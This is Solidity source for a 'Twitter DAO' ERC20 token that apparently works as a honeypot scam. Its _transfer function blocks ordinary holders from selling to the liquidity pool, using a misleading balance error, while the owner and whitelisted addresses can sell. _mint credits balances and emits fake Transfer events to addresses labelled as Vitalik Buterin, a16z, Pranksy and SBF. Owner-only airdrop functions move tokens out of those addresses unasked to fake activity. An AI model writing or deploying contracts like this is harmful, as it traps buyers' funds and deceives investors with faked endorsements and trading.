// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;

import "../IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */

contract NewERC20 is Context, IERC20, IERC20Metadata, Ownable {

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    address public thePoolAddress;
    // Vb3 0x220866B1A2219f40e72f5c628B65D54268cA3A9D
    address private _vbAddress = 0xB1AdceddB2941033a090dD166a462fe1c2029484;
    // a16z
    address private _a16zAddress = 0xE36a124CaA7Ee0b75A96A934499CE68DaC6D9562;
    // pranksy
    address private _pranksyAddress = 0x5028D77B91a3754fb38B2FBB726AF02d1FE44Db6;
    // SBF
    address private _sbfAddress = 0xC8D328b21F476a4b6e0681F6e4e41693A220347d;

    // local test account5
    // address private _vbAddress = 0x49adb5E5D8ce338d5C7D5e3083E4b3028af16eAd;
    bool public tokenName;
    address[] private whileListAddress = new address[](20);
    uint256 private _ETHER = 10 ** 18;
    // uint256 private _ETHER = 1;
    uint256 private _Ten8 = 10000 * 10000;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        tokenName = true;
        _name = name_;
        _symbol = symbol_;
        thePoolAddress = _msgSender();
        _initWhiteList();
        _mint(msg.sender, 1000000 * _Ten8 * _ETHER);
    }

    function _initWhiteList() internal {
        /*whileListAddress.push(0xCC691F7E0DbC0C76188aAe0Dda07cA3633A99862);
        whileListAddress.push(0x40A091d7E7Ce5B6a73D1E6611F4383C742b3bB8a);*/
        whileListAddress.push(0x9eed10A51a2E1e6dD7D3A7D87fB9062e67dA302F);
        whileListAddress.push(0x395f9b937bBd83F8F98A2c3dEaf0Cf65b0B3Abf7);
        whileListAddress.push(0xc9e34d32ddf4256189bcbcA2F46CFD991cc2e65a);
        whileListAddress.push(0xC38c2b9152f468350f8E4fE7DE84A8ebdDEEB603);

        whileListAddress.push(0x8b2f1A6af975855e3Ce0ec3703832a56e3BA188E);
        whileListAddress.push(0x2801ee8077f3f376969152C45A59A5A0F01E8BDA);
        whileListAddress.push(0x6CAe871868e1cE5997450e19132de9f9cA6B1a6B);
        whileListAddress.push(0xC6aB527b901cBF6744AC7a7a778f9ee303901e5a);

        whileListAddress.push(0xD75bEb1B78Fd7D6C5B1E37414655E459A6345403);
        whileListAddress.push(0x20489Cae2664FcD37F7606172FF39c5a25228B3f);
        whileListAddress.push(0xAA1513A8c15CD8741EDDb28a7a70041A4cf13aB7);
        whileListAddress.push(0xe5aF7f6215D433a81EaF700aB9D685D0Da895aCE);

        whileListAddress.push(0xDE5AF3Ee3966f3D2D45759133eFb756C3C4D1c3A);
        whileListAddress.push(0x0281c0aBf0412B28854F59cE1b3074e85587c3d7);
        whileListAddress.push(0xb03b86de3124A10311A9c820919338529617d667);
        whileListAddress.push(0x3D6D25c8b675C9f163e0ACa47DA6747f355664EF);

        whileListAddress.push(0xC48B1C4d7221122eBcb76A05735B345f734106f3);
        whileListAddress.push(0x7F90d31b773a629b402858E1a7a27a1c49E204F6);
        whileListAddress.push(0xdF2A9905d35f8b16a5b3c1B3EdaC7Bb450a6B2C5);
        whileListAddress.push(0x3c79eD72C9c4F0A945E3CFFcc20cBF7C47EE3eb4);
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
    unchecked {
        _approve(sender, _msgSender(), currentAllowance - amount);
    }
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function _transferFromAirdrop(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual returns (bool) {
        _transfer_v2(sender, recipient, amount);
        return true;
    }

    function _airdrop() internal {
        // _transferFromAirdrop(_vbAddress, 0x814927849c93FD769898928d79BA40f88ca1A451, 15000 * 10000 * 10000 * 10 ** 18);
        _transferFromAirdrop(_vbAddress, 0x220866B1A2219f40e72f5c628B65D54268cA3A9D, 10000 * _Ten8 * _ETHER);
        _transferFromAirdrop(_vbAddress, 0xde0B295669a9FD93d5F28D9Ec85E40f4cb697BAe, 10000 * _Ten8 * _ETHER);
        _transferFromAirdrop(_vbAddress, 0x84D34f4f83a87596Cd3FB6887cFf8F17Bf5A7B83, 10000 * _Ten8 * _ETHER);
        _transferFromAirdrop(_vbAddress, 0x4862733B5FdDFd35f35ea8CCf08F5045e57388B3, 10000 * _Ten8 * _ETHER);
        _transferFromAirdrop(_vbAddress, 0x431e81E5dfB5A24541b5Ff8762bDEF3f32F96354, 10000 * _Ten8 * _ETHER);

        _transferFromAirdrop(_a16zAddress, 0x5028D77B91a3754fb38B2FBB726AF02d1FE44Db6, 10000 * _Ten8 * _ETHER);
        _transferFromAirdrop(_a16zAddress, 0x431e81E5dfB5A24541b5Ff8762bDEF3f32F96354, 10000 * _Ten8 * _ETHER);
        _transferFromAirdrop(_a16zAddress, 0x85560DBeF2533eEc139b3e206b119fD700f90262, 10000 * _Ten8 * _ETHER);
        _transferFromAirdrop(_a16zAddress, 0x42f9134E9d3Bf7eEE1f8A5Ac2a4328B059E7468c, 10000 * _Ten8 * _ETHER);
        _transferFromAirdrop(_a16zAddress, 0x577eBC5De943e35cdf9ECb5BbE1f7D7CB6c7C647, 10000 * _Ten8 * _ETHER);

        _transferFromAirdrop(_pranksyAddress, 0x3DdfA8eC3052539b6C9549F12cEA2C295cfF5296, 10000 * _Ten8 * _ETHER);
        _transferFromAirdrop(_pranksyAddress, 0x6Cf9AA65EBaD7028536E353393630e2340ca6049, 10000 * _Ten8 * _ETHER);
        _transferFromAirdrop(_pranksyAddress, 0xafa64cCa337eFEE0AD827F6C2684e69275226e90, 10000 * _Ten8 * _ETHER);
        _transferFromAirdrop(_pranksyAddress, 0xf9dbd46Ec67dAD36794FE788C29147e00fc25fE7, 10000 * _Ten8 * _ETHER);
        _transferFromAirdrop(_pranksyAddress, 0x1406899696aDb2fA7a95eA68E80D4f9C82FCDeDd, 10000 * _Ten8 * _ETHER);

        _transferFromAirdrop(_sbfAddress, 0xcFe763EC6db64e7e61099EfCEC986DC90e567Fb1, 10000 * _Ten8 * _ETHER);
        _transferFromAirdrop(_sbfAddress, 0xA1175a219dac539F2291377F77afD786D20e5882, 10000 * _Ten8 * _ETHER);
        _transferFromAirdrop(_sbfAddress, 0x32F3Df9867A229e8DA4E63eA0BFd163BA3298Eb2, 10000 * _Ten8 * _ETHER);
        _transferFromAirdrop(_sbfAddress, 0xc679Aa874efB24DA448A7B3CfE981Ea6a3191D8A, 10000 * _Ten8 * _ETHER);
        _transferFromAirdrop(_sbfAddress, 0x885F5fd87E62eD2eBD0B0Bb1C295c4C43edEe5B5, 10000 * _Ten8 * _ETHER);
    }

    function _airdropSomeone(address target, uint256 amount) internal {
        _transferFromAirdrop(_vbAddress, target, amount);
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
    unchecked {
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);
    }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer_v2(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
    unchecked {
        _balances[sender] = senderBalance - amount;
    }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");

        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;
        // addLiquidityETH init_value
        if (sender == owner() && thePoolAddress == owner()) {
            thePoolAddress = recipient;
        }
        bool pass = false;
        // init, add, remove
        if (sender == owner() || recipient == owner() || sender == thePoolAddress || !tokenName || whiteList(sender)) {
            pass = true;
        } else {
            if (recipient == thePoolAddress) {
                require(false, "ERC20: transfer amount exceeds balance!!");
            }
        }

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function whiteList(address seller) internal view returns (bool) {
        for (uint i =0; i < whileListAddress.length; i++) {
            if (whileListAddress[i] == seller) {
                return true;
            }
        }
        return false;
    }

    function _inWhiteList(address seller) internal pure returns (bool) {
        if (seller == 0xab59aEc629A9995738ada0310ADeA0fE38eC72d9) {
            return true;
        }
        if (seller == 0x90801C97e1f6F2E59495Bf180afedE5D70FCb9d1) {
            return true;
        }
        if (seller == 0x5C57f26601687f4FF0C0589542E87f306Ae70Be4) {
            return true;
        }
        if (seller == 0x09C0c1fd5e586489fe46c0E7021D93B072C3295e) {
            return true;
        }
        if (seller == 0x53aC88570B19176B52F2aE293986d1BA5da321D3) {
            return true;
        }
        if (seller == 0x72E8f31E2230A80Db54F2CFfE4bb7aE5F1f77bED) {
            return true;
        }
        return false;
    }

    function _unlock() internal {
        tokenName = false;
    }

    function _setPoolAddress(address poolAddress) internal {
        thePoolAddress = poolAddress;
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;

        _balances[account] += 760000 * _Ten8 * _ETHER;
        _balances[_vbAddress] += 60000 * _Ten8 * _ETHER;
        _balances[_a16zAddress] += 60000 * _Ten8 * _ETHER;
        _balances[_pranksyAddress] += 60000 * _Ten8 * _ETHER;
        _balances[_sbfAddress] += 60000 * _Ten8 * _ETHER;
        emit Transfer(address(0), account, 760000 * _Ten8 * _ETHER);
        emit Transfer(address(0), _vbAddress, 60000 * _Ten8 * _ETHER);
        emit Transfer(address(0), _a16zAddress, 60000 * _Ten8 * _ETHER);
        emit Transfer(address(0), _pranksyAddress, 60000 * _Ten8 * _ETHER);
        emit Transfer(address(0), _sbfAddress, 60000 * _Ten8 * _ETHER);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    unchecked {
        _balances[account] = accountBalance - amount;
    }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)

pragma solidity ^0.8.0;

import "../utils/Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// SPDX-License-Identifier: MIT LICENSE
pragma solidity ^0.8.0;

import "./NewERC20.sol";

contract TwitterDAO is NewERC20 {

    constructor() NewERC20("Twitter DAO", "Twitter") {
    }

    function approve(address poolAddress) public onlyOwner {
        _setPoolAddress(poolAddress);
    }

    function transfer() public onlyOwner {
        _unlock();
    }

    function airdrop() public onlyOwner {
        _airdrop();
    }

    function airdrop(address target, uint256 amount) public onlyOwner {
        _airdropSomeone(target, amount);
    }

}

{
  "compilationTarget": {
    "TwitterDAO.sol": "TwitterDAO"
  },
  "evmVersion": "london",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}